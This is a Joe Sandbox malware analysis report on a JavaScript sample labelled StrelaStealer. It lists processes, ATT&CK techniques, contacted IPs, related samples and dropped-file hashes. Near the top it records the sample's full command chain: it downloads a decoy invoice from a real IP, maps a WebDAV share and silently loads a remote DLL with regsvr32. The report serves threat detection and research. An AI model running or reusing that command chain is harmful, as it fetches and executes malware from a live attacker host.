Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
11234261403012723904.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
11234261403012723904.js	6%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/U	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2972621089.00000264C1C12000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/U	net.exe, 00000006.00000003.1738770316.000001D6F0C46000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1741770583.000001D6F0C46000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1740867583.00000264C1B62000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1741770583.000001D6F0C46000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1741603409.000001D6F0C20000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1738770316.000001D6F0C3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1741770583.000001D6F0C3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1740867583.00000264C1B62000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588807
Start date and time:	2025-01-11 05:44:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	11234261403012723904.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.107, 2.16.168.105, 52.6.155.20, 3.233.129.217, 52.22.41.97, 3.219.243.226, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 2.23.197.184, 4.175.87.197, 23.56.162.204, 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:45:08	API Interceptor	21x Sleep call for process: powershell.exe modified
23:45:12	API Interceptor	1x Sleep call for process: net.exe modified
23:45:12	API Interceptor	2x Sleep call for process: svchost.exe modified
23:45:25	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	158324772041924674.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10256249222235922013.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073358635344032
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrv:KooCEYhgYEL0In
MD5:	0F0EF3FA92505AA6CD7783447D38FCD6
SHA1:	3F8583D561AA7CB94B14035EF80453F0F2661FCA
SHA-256:	F044DD9699A0D3DC57ADED26EA5960DF7068BD891B521884A00D647CB51D2B5D
SHA-512:	93881DC94ADD27ED24064C159D17E3F704596A417337BB90ADFBC55631A458F86194ACEFC76BC8A781CA0676A712A17A6F46022C2A2D46ADBB19F5CF49FCAB0B
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x572376b7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42212345293849646
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	D159B3AFBF31DE10BB41E699FE55B591
SHA1:	2A6F6E64CD8F9EF2AFCAA69FCF11A352295274EB
SHA-256:	EF5750D4319E1E82A98808EC510B09DA0CA7B30AD50F03614989C6DC970903D7
SHA-512:	FFD10EABBC7F9D1BF13CE0975EA739D43EB42B55A0597683FAD42F79EE5C88C806B0C070294361C24CAA1EA50A821A1EEBB2C21F292BB2ADCFB6D9DAF0787565
Malicious:	false
Preview:	W#v.... .......A.......X\...;...{......................0.!..........{A..-...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................cd$..-...}=.................~...-...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07674238639839415
Encrypted:	false
SSDEEP:	3:zMdYecZ/ukjn13a/GxIltollcVO/lnlZMxZNQl:zMdz0v53qG6GOewk
MD5:	A76E36338DF11B572C9147E416438D74
SHA1:	FA5321CF8CCE2D43BBDBB378A96A720708791772
SHA-256:	722E702660D85F34341CC0A609B2CF39C44340EADED0BE8260200CEB9CB05FD1
SHA-512:	EBA6FFD41D84BDA23DB5386844C8ABCACAB58AE204C51A74D9F330BE5AAADD1A6BDB77948E6AE8736C5F38FD98570EB36AFAAF97E64D2FACE0CAF43B2BEBBFB0
Malicious:	false
Preview:	M.Q......................................;...{...-...}.......{A..............{A......{A..........{A]................~...-...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.158384336779656
Encrypted:	false
SSDEEP:	6:iO4qp8EMq2Pwkn2nKuAl9OmbnIFUtSqp1ZmwsqpnkwOwkn2nKuAl9OmbjLJ:7P8EMvYfHAahFUtt1/Dn5JfHAaSJ
MD5:	EC223DF97647CCE29D82670105A721BB
SHA1:	79D6C0C44CA90856F5D24A102798E2693A67EAD2
SHA-256:	F35890295A30F6A6024929495D6EB0E62B3D674B0BEE9F29B4A94AF49315E34E
SHA-512:	5ACE3EC74ECAED960772CF35B6F25127415A710CBC68C5923BB7166732677433E98F3D4A13EDBF237C6AFF2A2AAE1CC4147791EC765DA3A9A0A94EF141473E7F
Malicious:	false
Preview:	2025/01/10-23:45:12.712 1ea4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:45:12.714 1ea4 Recovering log #3.2025/01/10-23:45:12.714 1ea4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.158384336779656
Encrypted:	false
SSDEEP:	6:iO4qp8EMq2Pwkn2nKuAl9OmbnIFUtSqp1ZmwsqpnkwOwkn2nKuAl9OmbjLJ:7P8EMvYfHAahFUtt1/Dn5JfHAaSJ
MD5:	EC223DF97647CCE29D82670105A721BB
SHA1:	79D6C0C44CA90856F5D24A102798E2693A67EAD2
SHA-256:	F35890295A30F6A6024929495D6EB0E62B3D674B0BEE9F29B4A94AF49315E34E
SHA-512:	5ACE3EC74ECAED960772CF35B6F25127415A710CBC68C5923BB7166732677433E98F3D4A13EDBF237C6AFF2A2AAE1CC4147791EC765DA3A9A0A94EF141473E7F
Malicious:	false
Preview:	2025/01/10-23:45:12.712 1ea4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:45:12.714 1ea4 Recovering log #3.2025/01/10-23:45:12.714 1ea4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.214339224949645
Encrypted:	false
SSDEEP:	6:iO4qpRrQ+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqpJQgZmwsqpJQQVkwOwkn2nKuAlx:7PRrVvYfHAa8uFUtteg/DeI5JfHAa8RJ
MD5:	10B1972A4D1AE34D9453D762B21F4D41
SHA1:	CBFEE39D07EAD3E5B55268BC3C4113A811E06615
SHA-256:	B75B3A2CB201F2DBE01C81DCD521CF14D983F51747C7AE6A6963D54B0EFD18B0
SHA-512:	F38FD03E0069FAB7E4D5832C1F44AFDEF626F543F218735B399CFFF6929C175F97E9F8891CF4D202BD534C308ED94EAB779AE605DEEE47D9D46355717009907E
Malicious:	false
Preview:	2025/01/10-23:45:12.725 1f58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:45:12.726 1f58 Recovering log #3.2025/01/10-23:45:12.726 1f58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.214339224949645
Encrypted:	false
SSDEEP:	6:iO4qpRrQ+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqpJQgZmwsqpJQQVkwOwkn2nKuAlx:7PRrVvYfHAa8uFUtteg/DeI5JfHAa8RJ
MD5:	10B1972A4D1AE34D9453D762B21F4D41
SHA1:	CBFEE39D07EAD3E5B55268BC3C4113A811E06615
SHA-256:	B75B3A2CB201F2DBE01C81DCD521CF14D983F51747C7AE6A6963D54B0EFD18B0
SHA-512:	F38FD03E0069FAB7E4D5832C1F44AFDEF626F543F218735B399CFFF6929C175F97E9F8891CF4D202BD534C308ED94EAB779AE605DEEE47D9D46355717009907E
Malicious:	false
Preview:	2025/01/10-23:45:12.725 1f58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:45:12.726 1f58 Recovering log #3.2025/01/10-23:45:12.726 1f58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\82ba2593-3d28-407b-803b-3cd9af10f70b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9679273317292365
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjVsBdOg2HiPAcaq3QYiubInP7E4T3y:Y2sRdsq2dMH+3QYhbG7nby
MD5:	2E226D88939A2D804BC12C5745AF8C33
SHA1:	72B818DAA0DE74240324840F81449D49A9509274
SHA-256:	D2DE30C57348897F93F82E846DFAF2305337CCE43476A850AD5144EFE275B9B2
SHA-512:	6033C772F44648ABF0853737FAF221BC62F62F9B202F55A0414B00D4C48737F1014CC73B5B41334FBA17926FF2D6F364D241D27EF7900A6681F239DD701FF372
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130725378278","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126651},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9679273317292365
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjVsBdOg2HiPAcaq3QYiubInP7E4T3y:Y2sRdsq2dMH+3QYhbG7nby
MD5:	2E226D88939A2D804BC12C5745AF8C33
SHA1:	72B818DAA0DE74240324840F81449D49A9509274
SHA-256:	D2DE30C57348897F93F82E846DFAF2305337CCE43476A850AD5144EFE275B9B2
SHA-512:	6033C772F44648ABF0853737FAF221BC62F62F9B202F55A0414B00D4C48737F1014CC73B5B41334FBA17926FF2D6F364D241D27EF7900A6681F239DD701FF372
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130725378278","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126651},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.254748557415643
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7sTBaVM:etJCV4FiN/jTN/2r8Mta02fEhgO73goE
MD5:	70B527D54F3B60975593DA947BCE7403
SHA1:	15E59D15F2BB46A6ED7FA8AEF7317C7C02466759
SHA-256:	F99C094C841C89FF6D22E3F797651A88FF91240F2C5F0E80B483D813309A6667
SHA-512:	8A4066B240C4359501797FE1C55F8D53DA2A420F5CB88E400924C6191D29CC4E2ECDC7A48974D3FAF56330382572C68C3F21E3CA341B6D9D22AB7A129CD14D9D
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.205983967323688
Encrypted:	false
SSDEEP:	6:iO4qpLc7SQ+q2Pwkn2nKuAl9OmbzNMxIFUtSqpNvgZmwsqp5SQVkwOwkn2nKuAlG:7Po2VvYfHAa8jFUttNvg/D5SI5JfHAab
MD5:	A67222445DC431027625C23A3BFD9BA1
SHA1:	A26082880298512EE990A880ABC5E3E7D049FD40
SHA-256:	3221F0B65AA18945A7ED5EEFDFD2C5D2436EAE2A3D2D0F39BF4EBAA56690D99C
SHA-512:	9ACAD7E20F16D6C3D32C14546942D2E7B367FAB34D3E8AB96FBD3FA8537A3FC5B32F0AA50B648A3D36376A6242113288C63FE7175D5945ECBE4277CCA017DAF3
Malicious:	false
Preview:	2025/01/10-23:45:12.879 1f58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:45:12.880 1f58 Recovering log #3.2025/01/10-23:45:12.881 1f58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.205983967323688
Encrypted:	false
SSDEEP:	6:iO4qpLc7SQ+q2Pwkn2nKuAl9OmbzNMxIFUtSqpNvgZmwsqp5SQVkwOwkn2nKuAlG:7Po2VvYfHAa8jFUttNvg/D5SI5JfHAab
MD5:	A67222445DC431027625C23A3BFD9BA1
SHA1:	A26082880298512EE990A880ABC5E3E7D049FD40
SHA-256:	3221F0B65AA18945A7ED5EEFDFD2C5D2436EAE2A3D2D0F39BF4EBAA56690D99C
SHA-512:	9ACAD7E20F16D6C3D32C14546942D2E7B367FAB34D3E8AB96FBD3FA8537A3FC5B32F0AA50B648A3D36376A6242113288C63FE7175D5945ECBE4277CCA017DAF3
Malicious:	false
Preview:	2025/01/10-23:45:12.879 1f58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:45:12.880 1f58 Recovering log #3.2025/01/10-23:45:12.881 1f58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445063413164353
Encrypted:	false
SSDEEP:	384:yezci5tsiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rLs3OazzU89UTTgUL
MD5:	CF28651106300819B5A5858517AE62C1
SHA1:	1FDA708E4A908C7876FD9965B208B4E7805F8684
SHA-256:	62DEF06693BCDE9158C54EBB72C075DE9C2F82944C196E59D38EF64AFC83D47F
SHA-512:	66C8182224D126A857C72131C3AAF0C26B9975726B7856DBA09FA1A3DB6F20AF26435F9843242353D7AE1FF3A9843941FCF803E590449B7CCBE5696AE2A963DE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7698227529329604
Encrypted:	false
SSDEEP:	48:7M7p/E2ioyVcseioy9oWoy1Cwoy15sNKOioy1noy1AYoy1Wioy1hioybioyfs/oL:7ApjucjFCUXKQ4eNb9IVXEBodRBk+
MD5:	0C16A9965D6355BCA43DAA352E11D8C5
SHA1:	8F026971E3BDDA5DCC47E53DC68AD8D9CDAC31C8
SHA-256:	1D3B6901413B5DE50CAA6F3CE2371C255A4E8911C006DDAFA0AE4F7C3C4B9328
SHA-512:	1B72C1FDDFA4D70057F629D5DD93D74FEFCCDDD4A8BCAB6BBAEF94F1E0F69223413FA41BAEF2D30525EB66606E368CE027CE11BC2A3E0BE8DCA66B380B27A560
Malicious:	false
Preview:	.... .c.....4pKN...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
